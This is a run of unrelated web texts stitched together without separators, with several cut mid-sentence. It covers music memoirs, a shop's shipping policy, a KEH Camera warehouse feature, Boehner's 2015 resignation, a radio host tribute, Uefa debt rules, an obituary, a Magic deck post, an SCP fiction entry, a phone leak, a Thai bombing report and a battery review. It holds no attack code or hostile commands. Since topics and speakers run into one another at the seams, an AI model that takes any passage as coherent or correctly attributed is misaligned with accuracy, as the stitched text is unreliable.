photos throughout offer a glimpse of a life that appeared to be anything but troubled, including a sexy picture of Simon, in bikini bottoms and leis of white flowers standing astride next to a white-suited Taylor. 5. Girl in a Band by Kim Gordon Humble polymath, enigmatic cool girl, and all-around bad bitch Kim Gordon speaks up in her revelatory memoir, Girl in a Band. From her sunny SoCal upbringing and art school in Los Angeles to the gritty scenes of playing gigs in New York in the ‘80s and ‘90s, from the the infidelities of her husband and fellow bandmate, Thurston Moore to her friendship with Kurt Cobain, Girl In A Band tells it all. Of course, her experience of being the lone female in one of the most influential post-punk indie rock bands is one of these many gems. Never one to grandstand, Gordon asserts the credo that many have read for aloofness instead of as an astute awareness of the beast: “The rock star thing always felt dishonest to me—stylized and gestural, even goofy. I’ve always felt uncomfortable giving people what they want or expect.” 6. Be My Baby: How I Survived Mascara, Miniskirts, and Madness, or, My Life As a Fabulous Ronette by Ronnie Spector With her skyscraping beehive, raven-black cat eyes, and legs for days, Ronnie Spector and The Ronettes epitomized not only the look, but also the iconic sound of ‘60s girl bands. A teenaged trio from Spanish Harlem, Ronnie and her sister Estelle, along with their cousin Nedra, had sung and performed together for years. But, it wasn’t until they signed with mastermind and madman, Phil Spector, that the group achieved chart-topping success with “Be My Baby.” Alas the euphoric high of superstardom soon dissipated after her marriage to Spector. Imprisoned by Spector behind the gilded gates of their Beverly Hills mansion, she languished in isolation and spiraled into alcoholism. But Ronnie’s memoir isn’t meant to be a cautionary one, rather it’s a clear-eyed reflection of an extraordinary life and a testament to her resilience. 7. The First Collection of Criticism By a Living Female Rock Critic by Jessica Hopper Fan girl turned industrious zine wizkid, Jessica Hopper got her start writing and reviewing music as a punky teen in Minnesota. Flash forward 20 years and her career of astute, pulsating essays, reviews, and interviews has lead her to cover some of the greatest and most iconic bands and albums of the past decade. Whether fleshing out the background of Hole’s album Live Through This, or authoring a take down of an entire genre (Emo: Where the Girls Aren’t from Punk Planet #56, July 2013) or a pop star’s anticlimactic album (Miley Cyrus: Bangerz from SPIN Magazine, October 2013), Hopper’s unwavering voice is a vivacious, gritty addition to music criticism that is both wise and necessary.Shipping I will ship items within 3 business days (not including weekends) of purchase date. I ship everything through USPS. I now provide tracking on all orders, the price is already calculated into the S+H total; but insurance is not included. Sorry, but if you would like to have insurance added please contact me and let me know and I will calculate it into the S+H price. I cannot be responsible for items gone missing through the USPS. Once it is shipped I will contact you and let you know that the item has been shipped and provide the tracking number. But, like I mentioned earlier if you would like to add insurance please just let me know. Domestic orders usually take up to 7 days to arrive. I do not have International prices provided, if you would like an order to be sent internationally please message me and I will calculate the price and provide the total. That being said, International orders can take up to 20 days to arrive depending on customs. Thank you!“I have a Leica M3 at home… I took my kids aside and said, ‘Okay, this is going to be a 401k." KEH Camera’s warehouse looks pretty unassuming at first. It’s big, pretty loud, holds a lot of containers, etc. If you’re a camera enthusiast, though, it’s heaven. It’s like being in a Costco filled with over 50,000 cameras, lenses, and gear from every manufacturer, purchased from all over the world, and from just about any decade (the childlike desire to touch everything around you returns with gusto). Some pretty crazy gear has passed through KEH during its 38 years of business, and the folks over at the company were kind enough to share some of their current favorites. Small glimpse of the massive warehouse. Nikon 300mm f/5.6 Joe Castiglione joined KEH as the CEO in March 2016. His background is in sales and manufacturing, ranging from a family grocery store in Buffalo, New York to owning a chain of wireless retail stores and, later, international manufacturing. He describes himself as a “culture person.” “You win with people,” he says, adding: “KEH is unique from the oldest employee to the newest employee. There’s so much enthusiasm with the industry… We have employees here that are approaching 30 years… I’ve never been in an industry where people are so passionate about what they do in the industry that they’re in.” Jimmy Smart is the Swiss Army Knife of KEH operations. In his six years with the company, he’s done a little bit of everything. His background has always been in operations and project management, but KEH has proven to be a unique workplace outside of camera sales. He notes: “Being in a used business, you’re constantly looking for your inventory. Where to buy it, how to market it, how to get people interested in selling their equipment. That’s definitely a unique challenge to a used business.” Fujfilmi Instax Mni 7S White Needless to say, no company requires camera expertise the way KEH does. That’s where Larry Hicks comes in. Joe’s deference in regard to Larry’s expertise tells you all you need to know: “Larry’s one of out go-to guys at KEH. When anyone needs to know anything about KEH, Larry’s one of the braintrust that we go to… There’s very few people anywhere that could do what he does. Larry’s got such a plethora of knowledge on pricing and competition. A lof of this stuff, you can’t go and shop it because it’s just not available. When you have the mastermind of Larry, that’s what he specializes in.” Larry has been selling cameras for 37 years, 25 of them at KEH, he has a degree in photography, and his grandfather was a photographer. Cameras are in his blood. His office is filled with binders and books of hard-to-find camera information, and he still encounters crazy new items he needs to research. He’s seen a lot. ‍Linhof Super Tech IIIwith 105mm f3.5 lens “We’ve had things going back to the late 1890’s during my time here.” I asked him to describe the value of old camera gear in 2017. “Some of it is just the aesthetic quality... In some people’s minds that adds a lot of value. Then there’s items that have a rebirth. In the 60’s, Pentax screw-mount cameras and lenses were even top above Nikon, then the bayonet mount came out and it made the screw mount go down. Now, with all of the mount adapters for micro 4/3, those lenses are having a rebirth. In many cases, those lenses are worth more than they were new.” “What’s retro is now popular… Instant film is one of them. Polaroids were popular in the 60’s and 70’s then they went out of style. Lately with the Fujis and some of the other cameras, like Lomo, it’s coming back again. That’s just one of many many examples.” Jimmy adds: “Older lenses to put on video, gives it a whole different look. Those are starting to come back around.” Larry: “Yeah, like the old Leica screw mount as well as the old movie lenses, for home movies. 8mm, 16mm, they will actually cover the sensors of a lot of the micro 4/3 cameras and there’s a lot of mount adapters. So people are buying those old lenses because it has this kind of ethereal quality of the picture, and they can do it on digital.” Larry’s knowledge pays off in more than just his picture quality. When you’ve been tracking camera value as long as he has, you know what to sell and what to keep. “I have a Leica M3 at home… I took my kids aside and said, ‘Okay, this is going to be a 401k.’ This camera goes up in value. A lot of cameras either don’t or they stay flat. Leicas, Roloflexes, almost always go up.” I asked if there was a secret to predicting gear value in the future. The team agreed that, outside of obvious traits like rarity and historic significance, the market swings in too many weird directions to make predictions any more than a gamble. As an example, Larry talks about how a little Star Wars history changed the fate of a seemingly random piece of KEH gear. “Graphplex, it’s an old bulb flash, but the handle that holds the batteries is what most of the lightsabers are made out of. Some people will buy those, take most of the flash part off of it, and make it into a lightsaber. Who would have known?” Graflex 4x5 Graphic View II KEH ended up marketing the handles accordingly and quickly sold out. Knowledge is the real value at KEH, and the team proved it by showing off some of their favorite gear in stock. Leica M2 - Black Larry: “Back in its day, every camera was done with a silver finish, chrome. This one is actually black paint, which was done for a lot of pros. There weren’t very many made of this, and this was a production number during a transition period. It was a rewind button, most of them have a lever, so you’ll see only a couple hundred that have the button. It makes it real rare. Instead of being worth like $1,000 this is worth $15,000.” Kodak Matchbox Subminature Camera “This was made for the secret service. There were two batches made, 500 of each… To look at it, you wouldn’t even know it’s a camera. This was back in the heyday of spies. Everybody remembers the James Bond movies from the 60’s, this is a little spy they used to do copy work.” “This is just a slightly more modern version of that. They both take 16mm film. Because of the rarity factor, this one’s worth probably $2,500 and this one’s probably only about $100.” “There’s only about 10 Kodaks that are worth a lot of money, and that’s one of them. But if you didn’t know what it was, you wouldn’t even know it’s a Kodak.” “One of my favorite stories to tell people, and we don’t have one to show, the Nikon 1, the first version Nikon ever made. There were 870 of them made. A lot of them have been lost, destroyed, whatever. I’d been here maybe three years, so this is going back to ‘85 or ‘86, a guy came in and goes, ‘Yeah I bought this at a yardsale.’ He paid $50 for it… We looked at it, checked it out... And said ‘We’ll pay you $12,000 for it.’ He’s like, ‘What!?’ He was thrilled… The chances of finding one of those these days is almost impossible.” “There is no marker on the Nikon 1, you have to look at the serial number.” Jimmy: “That, and I believe at the bottom it says ‘Made in Occupied Japan.’” Larry: “Yeah.” Meyer Optik Gorlitz Trioplan Lens “It’s from the 50’s. It gives this soap-bubble background and went through a rebirth recently. There was a Kickstarter campaign where the went in a re-did this with a Canon EOS mount, Nikon mount. Instead of being the $600 it was, now the new version is $1,500. What’s old is new again.” Polaroid Big Shot “They don’t make film for it anymore, so it’s only worth $50 to $75, but it’s made just to shoot headshots. You look through it and get until the images line up together. This is the same camera that Andy Warhol used for all of his portrait series and sent off to the factory to have all of these shots done of all of the Hollywood people… For a while, every one we got sold immediately because of that tag. Now that they don’t make film for it, it’s changed a little bit.” Panon Widelux Larry: “On this one, the lens actually rotates, so you get this super wide-angle shot. It’s a film camera. It takes 120 count film so, big film. Not your 35mm… There’s a smaller 35mm version, but people love to see the motor on this one work. This is probably $1,500 to $1,800.” Baby Brownie Special Larry: “There is an architect/industrial design artist named Walter Teague, who teamed up with Kodak in the ‘30’s and did a lot of design for their cameras. This is the only one we happen to have on hand. It’s not the pretties of the ones he did, but anything that he designed has gone up in value over the years. That one’s still only worth about $20, but some of them go up to around $600 or so just because he designed it… A lot of people buy them and just put them on mantelpieces because they look so incredible.” Rolleiflex 3.5 E2 Xenotar Twin Lens Reflex Larry: “Twin-lens camera, the Roloflex, which was big for wedding photographers back in the day. You have to look down in it… This was the camera to use in the 50
. Boehner 'is proud of what this majority has accomplished, and his Speakership,' the aide said, 'but for the good of the Republican Conference and the institution, he will resign the Speakership and his seat in Congress, effective October 30,' the aide said. The Speaker later said, in his own statement, 'The first job of any Speaker is to protect this institution that we all love.' 'It is my view, however, that prolonged leadership turmoil would do irreparable damage to the institution. To that end, I will resign the Speakership and my seat in Congress on October 30.' Boehner dodged cameras this morning on Capitol Hill, opting not to give an in-person statement at that time. Just after noon, his office said he's hold a formal press conference at 1pm Eastern. The GOP leader seemed relieved this afternoon as he spoke to reporters, singing the famous Disney song Zip-a-Dee-Doo-Dah as he took the podium. 'My, oh, my what a wonderful day,' he said, brightly Boehner, a devout Catholic, had been moved to tears by the presence of the leader of his religion, who he had personally invited to the unprecedented joint address to Congress yesterday The Ohio lawmaker had been warring with the right wing of his party and a group of aligned lawmakers calling themselves the House Freedom Caucus. The lawmakers, led into battle by Congressman Mark Meadows of North Carolina, filed a resolution on July 28 to unseat Boehner as speaker. They wanted GOP leadership to back a plan to defund Planned Parenthood that was almost certain to result in a government shutdown. BATTLE FOR THE GAVEL Possible contenders to replace John Boehner as Speaker of the House include: Majority Leader Kevin McCarthy, 50, of California - he's as establishment as they come. Republican Whip Steve Scalise, 49, a conservative from Louisiana who was elected to leadership last year. Raul Labrador, 47, of Idaho, a conservative Boehner stripped of his plum committee assignments in 2012 for revolting Justin Amash, 35, of Michigan, a libertarian who was also punished in 2012 for telling party leaders no too often House Financial Services Committee Chairman Jeb Hensarling, 58, of Texas, an insider who's chaired the House Republican Conference and Republican Study Committee Pete Roskam, 54, of Illinois, the former chief deputy majority whip who lost out to McCarthy for a promotion to majority leader last year Congress must approve a set of spending bills by September 30, or all non-essential personnel will be set home and government agencies will be shuttered until the crisis resolves itself. House and Senate leadership opposed the idea, and Boehner rejected his critics' charges that he was not challenging the president because he's not as conservative as they are. 'When I voted regularly, I had the eighth most conservative voting record in Congress,' he told Politico last weekend, over the phone. 'And the idea that I’m the establishment, that I’m some RINO, is just laughable. It really is.' Conservative activists, gathered across town for the annual Values Voters Summit, hosted by the Family Research Council, celebrated Boehner's fall from grace. They cheered as Republican presidential candidate and Florida Senator Marco Rubio told them, 'Just a few minutes ago, Speaker John Boehner announced he's retiring from Congress.' Texas Senator Ted Cruz, later told reporters chasing him around Values Voters that he heard Boehner was trying to sell the farm in his final days on Capitol Hill. 'If it is correct,' the conservative, White House contender, said, and Boehner 'cut a deal' with Democratic leader Nancy Pelosi, 'and then presumably to land a cushy K Street job, after joining with the Democrats to implement of all of President Obama's priorities, that is not the behavior that one would expect of a Republican Speaker of the House.' Cruz spearheaded the GOP's efforts in 2013 to defund Obamacare. That effort resulted in a two-week stand-off that Republicans eventually lost. The GOP leader said he didn't leave Congress because of the Pope. Boehner told reporter that he always intended to leave Congress at the end of this year and was going to go public on his birthday, Nov. 17. The current 'turmoil' in the House, he said, caused him to exit earl A slew of conservative organizations took credit for Boehner's demise today in emails to their supporters. The first line of a message sent out by Senate Conservatives Fund, a right-wing group led by ex-Virginia Attorney General Ken Cuccinelli, said: 'You did it!!' 'While we believe he should resign immediately so House Republicans can fight to stop funding for the President's liberal agenda, this is a major victory for conservatives across this great country,' the email read. Conservative grassroots group Freedomworks also proclaimed,'Fellow Patriot, we did it!...This is absolutely incredible!' The Heritage Foundation's companion organization, Heritage Action, said, Boehner 'too often' stood in the way of a Congress that 'fights for opportunity for all and favoritism to none.' 'Today’s announcement is a sign that the voice of the American people is breaking through in Washington,' CEO Michael Needham said. 'Now is the time for a principled, conservative leader to emerge.' Possible contenders to replace Boehner include Reps. Raul Labrador of Idaho, Justin Amash of Michigan, Jeb Hensarling of Texas and Peter Roskam of Illinois, reports The Hill's Pete Schroeder. Roskam, who sought Cantor's leadership role after the Virginia Congressman suddenly resigned last year, would not tell The Hill if he was planning to run for Speaker. He said the party should 'not just settle for a change in ranks,' however. This afternoon Boehner said he would stay far away from the ruckus over who would be the next speaker. Asked about his deputy, he said: 'I think Kevin McCarthy would make an excellent speaker.' McCarthy said in a statement today that 'it takes profound humility to step down from a position of power, and John’s depth of character is unmatched.' 'As our country has weathered difficult times at home and abroad, John has acted as a true statesman, always moving forward with the best interests of the American people close to his heart.' Continuing, McCarthy said, 'He will be missed because there is simply no one else like him.' 'Now is the time for our conference to focus on healing and unifying to face the challenges ahead and always do what is best for the American people,' he said. Many of Boehner's colleagues in Congress - on both sides of the political divide - released statements wishing him well, including the heads of two of the party's national campaign arms, the Republican National Committee and the National Republican Congressional Committee. 'He has been a tireless advocate for conservative principles who has raised millions to elect and re-elect Republicans to the House of Representatives,' RNC Chairman Reince Priebus said. Greg Walden, chairman of the NRCC, said, 'nobody has worked harder in their years of service' to get Republicans elected to Congress. 'It is now time for our Conference to come together to fill the void created by the Speaker’s departure. It is only as a united Republican Conference that we can achieve our common goal of defeating Democrats, growing our historic majority and getting a Republican elected to the White House so that we can finally see real reform in Washington, D.C.' Walden said. Mitch McConnell, Republicans' top man in the Senate, said in in a floor speech that Boehner was an 'ally' and a 'friend' and pointed out that 'he took over as Republican Leader at a difficult time for his party.' When Bohener took over as Republicans' leader, their party had just lost control of the House. Democrats would go on to win the White House, House and the Senate in the next election. In 2010, the winds of change began to blow again, and Republicans earned back their majority in the House and Boehner was awarded the Speaker's gavel. 'When some said Republicans could never recover, he never gave up. When some gave in to defeatism, he kept up the fight,' McConnell said. 'Because he did, Speaker Boehner was able to transform a broken and dispirited Republican minority into the largest Republican majority since the 1920s.' When Bohener took over as Republicans' leader in the House, their party had just lost control of the the lower chamber. Democrats would go on to win the White House, House and the Senate in the next election.In 2010, the winds of change began to blow again, and Republicans earned back their majority in the House and Boehner was awarded the Speaker's gavel He added: 'That’s a legacy few can match.' President Barack Obama said at a joint press conference with visiting President Xi Jinping of China this afternoon that Boehner's big news 'took me by surprise' and that he called him before he came out into the Rose Garden to talk to reporters. 'John Boehner is a good man. He is a patriot. He cares deeply about the House...He cares deeply about his constituents, and he cares about America,' the Democratic president said. Obama said Boehner was having a 'tough' time with members of his party who believe compromise as is a sign of 'weakness or betrayal' and said it's his hope that he and the next speaker 'can have significant differences on issues, but that doesn’t mean we shut down the government.' Other Democrats were not as diplomatic in their descriptions of the headwinds Boehner was navigating as Obama. Senate Minority Leader Harry Reid said from the floor of the Senate that Boehner's problem in the House was that he was he was a 'pragmatic' leader. 'He realizes there comes times when you have to make a deal.' 'He had a very difficult job. He had a very difficult job. He had this faction, that faction, that faction and a couple more,' the retiring senator, who is leaving himself in January of 2017, said as he scolded the other party for 'ousting' a 'good man like John Boehner – he is a conservative Republican.' House Majority Leader Kevin McCarthy, Boehner said, was so shocked, he had to tell him five times because he didn't believe him. McCarthy, pictured, is one of several Republicans expected to compete to for the Speaker's gavel Chuck Schumer, Reid's likely replacement, said in a statement, that 'the chaos in the House Republican Conference, the palace intrigue, and the extremism of some of his members have resulted in the House's failure to address basic issues.' 'John Boehner tried to keep his conference in the mainstream, and his departure raises questions about the future of a party that thinks Boehner is not radical enough to lead the House and that Donald Trump is the right man to be President,' Schumer said. Ex-Speaker of the House Nancy Pelosi, now the House minority leader, said today at her own weekly press conference, 'The resignation of the Speaker is a stark indication of the disarray of the House Republicans.' 'It is a demonstration of their obsession with shutting down government at the expense of women's health and a sign of the failure of the House Republicans to be willing to engage in dialogue for the good of the American people and for us to move forward,' she said. Maryland Rep. Elijah Cummings likewise said, 'Today is a sad day for the House of Representatives. The Republican party is at war with itself, and although an extreme minority of ideologues has won this battle, the American people are losing.'The Gift of Laughter By Jack Houvouras A person who can bring the spirit of laughter into a room is indeed blessed. - Bennet Cerf I've never been a morning person. Instead I'm a confirmed night owl, physically unable to turn in early. Oh, I've tried many times over the years to change my ways, but to no avail. I typically hit the hay at 2 a.m. and roll out of bed later than most. Of course that was not an option when I started this magazine more than 20 years ago. Back then I was logging long hours as I tried to get my fledgling business off the ground. Crawling out of bed at dawn was always a grueling task until one fateful morning when I discovered the Get Up and Go Show on WRVC Radio, starring Clint McElroy and Steve Hayes. The pair was wildly entertaining, but it was McElroy who stole the show — this crazy, quick-witted comedic genius had me in stitches. It was like having the humor of Saturday Night Live in my home every morning. For the first time in my life I actually looked forward to getting up in the morning just so I could see what this McElroy guy was going to do next. There were so many great characters he embodied, so many spot-on impersonations, so many hilarious skits. Yes, I loved "Ducky Crabtree" and "Spud Rimshot," but what I reveled in were his more obscure characters. Before the days of being politically correct, Clint was on the edge with on-air personas like "Richard," the station's highly effeminate employee who would drop by the studio from time to time. "Hello-ooo," he would bellow flamboyantly, marking his arrival. He would then proceed to enlighten the two oafish DJs on such issues as art, culture, fashion and, of course, interior decorating. Clint named an African-American character "Lyndon Baines Johnson Johnson." There was nothing racist about the guy, but his name alone slayed me. At the height of the Elvis sightings across the country years ago, Clint would have "The King" call into the station every week to chat. He would always tell the guys that he was phoning from his home in "the fabulous River View Trailer Park in Ash-Land, Kentucky (you know, like Graceland)." Every now and then the DJs would telephone a local business that was in the news only to have the call answered by the character "Myron Flaber." Myron, who worked for Manpower, wasn't the brightest guy in the world and spoke with a dull, dispirited voice. "Myron? Is that you? What are you doing at the Keith-Albee?" Clint would ask. "Manpower sent me over," Myron would reply. Somehow Manpower never got upset with Clint's character. They actually liked Myron and would send Clint suggestions on where they had temps working each week. Only Clint could get away with that. Of course these are just some of the characters Clint has created over his long career in radio. He's been doing his brilliant on-air work for nearly three decades now, and he's never missed a beat. But there's so much more to Clint than his radio career. He is an entertaining Jack-of-all-trades whose talents also encompass acting, singing, directing, teaching, writing and illustrating. Audiences from throughout the region have seen his work in local theater. Not just a gifted performer, he also gives back to the young people of the community in numerous ways, including directing Huntington Outdoor Theatre productions as well as years of service with the Musical Arts Guild Children's Theatre. Recently he began teaching theater at Marshall University. He has had numerous comic books published including Deep and Wyde: Blood is the Harvest, Green Hornet: Dark Tomorrow and King of the USA. As if that weren't enough, Clint also remains a devoted family man. He and his wife Leslie raised three equally talented sons before she passed away in 2005 after a long battle with cancer. Despite that terrible loss he has been given a second chance at love with his new wife Carol. I've often said that Clint McElroy has the rare type of talent that could have easily taken him to New York City, where he would have found success on Broadway or on the set of Saturday Night Live. But for numerous reasons he chose to remain in Huntington, and the people of our community are all the richer for it. Last year Clint was inducted into the Greater Huntington Wall of Fame and I was honored to write a letter of recommendation on his behalf. Writing that letter, like writing this column, was easy. return to articles menuManchester United could become the next target of Uefa’s Financial Fair Play regulations after the governing body confirmed it would consider making debt reduction part of any change to the rules. United have sailed through Uefa’s existing FFP tests, which focus exclusively on preventing clubs recording annual losses. But European football’s governing body has arranged a meeting on Monday to discuss potential tweaks to the regulations, amid criticisms it punishes over-investment but not the accumulation of debt. United are £350 million in debt, having been saddled with a £790 million burden by the Glazers when they took over the club in 2005. Gianni Infantino, Uefa’s general secretary, said: “We’re now focused on losses and to repay the debt is part of the loss that the club can make at the end of the season. But, certainly, the question of debt is something that can be put on the table.” Manchester City will attend Monday’s meeting following their world-record £49 million fine for breaching FFP regulations. City have been vocal in their opposition to the rules, insisting they should not have been penalised for making losses when they are debt free. Their chairman, Khaldoon Al Mubarak, told the club’s official website in May: “We have zero debt. We don’t pay a penny to service any debt. For me, that is a sustainable model. However, our friends at Uefa seem to believe otherwise. They have their view, we have ours.” City’s views have not changed, which they will make clear if their opinion is sought at Monday’s meeting, which will be chaired by Uefa’s president, Michel Platini, and include representatives from other clubs. There was some potentially good news for City regarding the Champions League on Thursday after Infantino confirmed Uefa would implement a radical shake-up to the draw for next season’s competition. The change would guarantee the winners of the Premier League would be placed automatically among the top seeds, with no place for any side finishing second, third and fourth. The current coefficient system rewards teams who consistently qualify for the competition – like Arsenal – regardless of how they do so, and penalises those who are relatively new to it – like City. Under the new proposals, the top eight seeds would comprise of the Champions League holders and seven domestic league winners of the top-ranked Uefa nations, currently Spain, England, Germany, Portugal, Italy, Russia and France. This season’s group-stage draw, which lumbered City with Bayern Munich, CSKA Moscow and Roma, but paired Chelsea with Schalke, Sporting Lisbon and Maribor, could have been radically different as a result. City’s manager, Manuel Pellegrini, last month hit out at the way Arsenal remained seeded in the Champions League despite having finished only fourth in the Premier League. Pellegrini said it was “not good that the teams who play qualification because they finished fourth in their domestic leagues are in Pot One [seeded], where the strongest teams should be”. He added: “Our group seems unbalanced. In our group, we have three domestic champions – the English champions, the German champions and the Russian champions.” On Thursday Infantino also reiterated Uefa’s opposition to the Premier League staging competitive matches overseas, although he would only have the power to stop that happening in Europe. Such games would be far more likely to take place in Asia or the United States.McLaughlin, John 46 April 07, 1970 May 12, 2016 John McLaughlin, 46, was born April 7, 1970, in Portland. He grew up in Milwaukie and attended La Salle High School, where he cultivated his love for soccer, friendship, Pietro's Pizza, movies and art. Upon graduating from La Salle in 1988, he attended California Institute of the Arts, which was founded by Walt Disney, in the hopes of turning his love for art into a career as an animator. John worked at LucasArts Entertainment and Tippett Studio, creating visual effects for Hollywood movies before landing his longtime position at DreamWorks Animation Studio. John worked on such films as Shark Tale, Kung Fu Panda, Over the Hedge, Kung Fu Panda 2, Rise of the Guardians and most recently Kung Fu Panda 3. One of John's favorite personal projects that he created was the Regal Cinemas preview trailer featuring a roller coaster in space speeding between soda, candy and popcorn that played before each and every movie. John was a master chef, BBQ extraordinaire, avid movie-goer, obsessive reader and deep thinker. "Call John, he will know the answer," was frequently heard throughout the McLaughlin family households when questions arose that nobody knew the answer to. John was truly a student of everything, with a brilliant sense of humor and a wicked gift of sarcasm. He was everyone's favorite conversationalist. He was preceded in death by his father, Jack. John is survived by his wife, Lisa; sons, Jackson and Alex; mother, Isabelle; brothers, Mark, Jeff and David; and nieces and nephews, Colby, Mig, Brogan, Griffin and Aven. In lieu of flowers, the family requests remembrances be made in John's name to the Art Department at La Salle Catholic College Preparatory at www.lsprep.org/mcLaughlin, or you can mail checks to 11999 S.E. Fuller Road, Milwaukie, OR 97222. Family and friends are invited to attend a memorial service and reception following, to be held at noon Wednesday, May 25, 2016, at St. John the Baptist Church in Milwaukie. Published in The Oregonian from May 20 to May 22, 2016"Shall we turn away a worthy soul because his parents were peasants? I think not " Lucidle Fiksdortter, Leader of the Order of the White Shield Ok This is a Kaalia deck that i am working on. I would like some input on how to make the deck better. I feel like the mana base needs some work. Also the maybe board is stuff i wish to add in but don't know for what i should switch them out for. I loved playing combo decks in modern so I build a Kaalia of the Vast deck. I has a few different things in it to make it stand out and have a few extra tools at its disposal. The easiest way for a win is going Aggro. Play Kaalia early and protect her. Swing and pull out a silver bullet. The second way to win is a Helm of Obedience+Leyline of the Void or Rest in Peace combo to mill out the opponent. Yosei, the Morning Star & Sword of Light and Shadow This is our lockout combo. All it requires is a creature with Sword of Light and Shadow equipped and a sacrifice outlet, such as High Market. You sac Yosei to the market and then fetch him back with the Sword. This is a 1v1 Duel deck. When playing Multi-Player i have a Sorin on the side to switch with.Thanks Je2terSCP-1209 Close-up photograph of SCP-1209-1-1, demonstrating physical abnormalities caused by SCP-1209. Item #: SCP-1209 Object Class: Euclid Special Containment Procedures: SCP-1209-1 instances are to be contained in standard humanoid containment cells at Site-██. They are to be fed meals three times a day. SCP-1209-1 instances are to be allowed to submit requests for entertainment or comfort materials which do not compromise security, within reason, as a reward for good behaviour. Socialisation with assigned Foundation staff is allowed, and encouraged in order to improve psychological well-being, but instances are not allowed to come into contact with each other. SCP-1209-1 instances are to be questioned at regular intervals by Foundation staff, and their responses are to be recorded, in order to document any noteworthy events observed and further understanding of SCP-1209. These interviews are to be conducted twice daily, at approximately 0800 hours and again at 1900 hours, as well as any time at which an SCP-1209-1 instance requests such an interview. SCP-1209-1 instances which have observed potentially traumatising events are to be monitored by an assigned psychiatrist, but may not be administered amnestics. It is considered vital that SCP-1209-1 instances retain their memory of transmitted images in case this knowledge becomes pertinent at a later date. SCP-1209-2 instances are largely passive and do not present anomalous behaviour aside from connection to SCP-1209. As such, no containment procedures are required to directly deal with SCP-1209-2 instances aside from monitoring. However, efforts should be made to identify all SCP-1209-2 instances. Should any SCP-1209-1 instance observe an event which is considered pertinent to the Foundation's mission, the Site Administrator of Site-██ is to be notified immediately in order to discuss responses. Description: SCP-1209 is a congenital defect of the eye found in several individuals from the region of [DATA EXPUNGED], and believed to be caused by an environmental factor. As a result of the deformity, the eye’s internal structure is drastically altered, although the most noticeable feature of the condition is the presence of multiple irises, pupils, lenses and associated anatomical features on the surface of the eye. Number of lenses per sclera is typically between two and four. This condition is usually accompanied by complete heterochromia, where each iris is differently coloured. As a result of the presence of multiple corneas and a distortion of the sclera, sufferers report mild to severe discomfort when attempting to move their eyes, and some have only limited range of movement in one or both eyes. In many cases, deformities in the internal structure of the eye render one or more of the lenses partially or totally blind. An in-depth analysis of the abnormal optical structures found in SCP-1209 subjects can be found in attached document 1209-α. Individuals affected by SCP-1209 (henceforth referred to as SCP-1209-1) appear to be able to see normally through only one of the pupils, usually the one aligned closest to where the pupil would normally be located. All other pupils display a view of the world consistent with that seen through the eyes of other individuals (henceforth referred to as SCP-1209-2). Each pupil displays images as seen by a single, separate person, and the persons that each pupil is able to ‘see through’ appear constant at all times. Each SCP-1209-1 instance is connected to multiple instances of SCP-1209-2, as many as there are additional pupils. These connections allow SCP-1209-1 to experience visual stimuli only, and appear to only transmit through the left eye of SCP-1209-2 instances. SCP-1209-1 cannot perceive SCP-1209-2’s experiences when they close their eyes, or when their eye is damaged beyond the point at which SCP-1209-2 can see through them. Should SCP-1209-2 die, transmission of images will continue until the internal structure of the eye deteriorates to a significant degree due to decomposition. If SCP-1209-2 is permanently blinded, or if the SCP-1209-1’s additional pupils are damaged significantly, transmission of images will cease. However, defects in the additional pupils do not prevent transmission; only injury or trauma prevents transmission. SCP-1209-1 will continue to perceive the experiences of SCP-1209-2 while dreaming, although reported transmission is less complete than while awake. There appears to be a distinct correlation between SCP-1209-1 and SCP-1209-2, in that all SCP-1209-2 instances were born within approximately two hours of the relevant SCP-1209-1 instance’s birth. SCP-1209 was discovered following routine scanning of medical files at ███████ Hospital. Subsequent investigation led to the discovery of █ SCP-1209-1 instances born in the nearby area, centred on the town of ███████, and more specifically the main water supply of the town. Investigation revealed the possibility that an unknown chemical had been introduced to the water supply repeatedly over the previous ██ years by an unknown party, posing as maintenance workers in order to access the water supply network. Although this event is believed to have had some connection to the outbreak of SCP-1209 due to a correlation between periods of ‘maintenance work’ and conceptions resulting in SCP-1209-1 instances, it is presently impossible to determine whether the two incidents are related. All remainders of the compound believed to have been introduced into the supply had degraded into other chemicals before testing could be performed. No experimentation has been able to determine the exact cause of SCP-1209. Addendum 1209-1: List of noteworthy SCP-1209-2 subjects (a full list of identified SCP-1209-2 subjects can be found in Document 1209-β):A few weeks back we reported that Lenovo is working on a Moto Smartphone that will feature a rear fingerprint sensor and the same Smartphone later on passed through Tenna, confirming our reported design. Thanks to a source that wanted to remain anonymous, Today we bring to you some real life Images and information of Lenovo Moto M. Why Lenovo and not Motorola, you may wonder? Well, our source told us this device will be an Asian exclusive and it is manufactured by Lenovo, not its Motorola Mobility subsidiary. The new Moto M sports a full HD 5.5" display, a MediaTek processor with 4GB of RAM, and a 16/8MP camera set up. Its model number is XT1662 and runs Marshmallow. In terms of design, expect a gold aluminum unibody and a rear fingerprint scanner. No, it's not on the Motorola dimple. They chose to include the logo on the bottom of its back. The Smartphone will be probably exclusive to Chinese Markets and will be launched later this year.BANGKOK (Reuters) - A motorcycle bomb killed a father and daughter in front of a Thai elementary school as parents were dropping off their children on Tuesday, officials said, the latest in a series of attacks in the troubled south. The bomb went off in Narathiwat province, one of three Muslim-majority provinces in predominantly Buddhist Thailand where a separatist insurgency has been raging since 2004. The blast killed a man and his five year-old daughter, the army’s Internal Security Operations Command said. The motorcycle was parked opposite the school entrance. Eight people were wounded. “We suspect this to be the work of people who want to destabilize the situation and cause chaos,” the deputy spokesman of the ISOC, Yuthanam Petchmuang, told Reuters. The attack occurred less than a month after a wave of bombings in tourist towns, including Hua Hin, Phuket and Surat Thani, killed four people and injured dozens. Police say the tourist-town bombings were linked to the southern insurgency and arrested a suspect over the weekend in connection with the attacks. Defence Minister Prawit Wongsuwan told reporters on Tuesday that the military government, which took power in May 2014, were making security preparations ahead of the Muslim holiday Eid al-Adha on September 12. More than 6,500 people have been killed in insurgency-related violence in the Muslim-majority provinces Yala, Narathiwat and Pattani Province since the conflict began, according to Deep South Watch, which monitors the conflict. While the conflict has been largely confined to the three southern provinces, analysts say that the spread of violence to other provinces could affect Thailand’s tourism industry.Although much faster than their 3G competitors, 4G LTE phones have suffered from notoriously short battery life. How short? Try less than four hours in some cases. Fortunately, Motorola's new Droid RAZR Maxx is set to change the LTE's power-gulping reputation, as the Android handset lasted a full 8 hours and 25 minutes on the LAPTOP Battery Test. This test involves continuous surfing over 4G with the phone set to 40 percent brightness. As you can see from the above chart, this is the longest endurance we've seen on any Verizon LTE phone, a full 3 hours and 40 minutes longer than the original Droid RAZR (4:45) and 1 hour and 43 minutes longer than the previous LTE leader, the Samsung Droid Charge. In fact, the 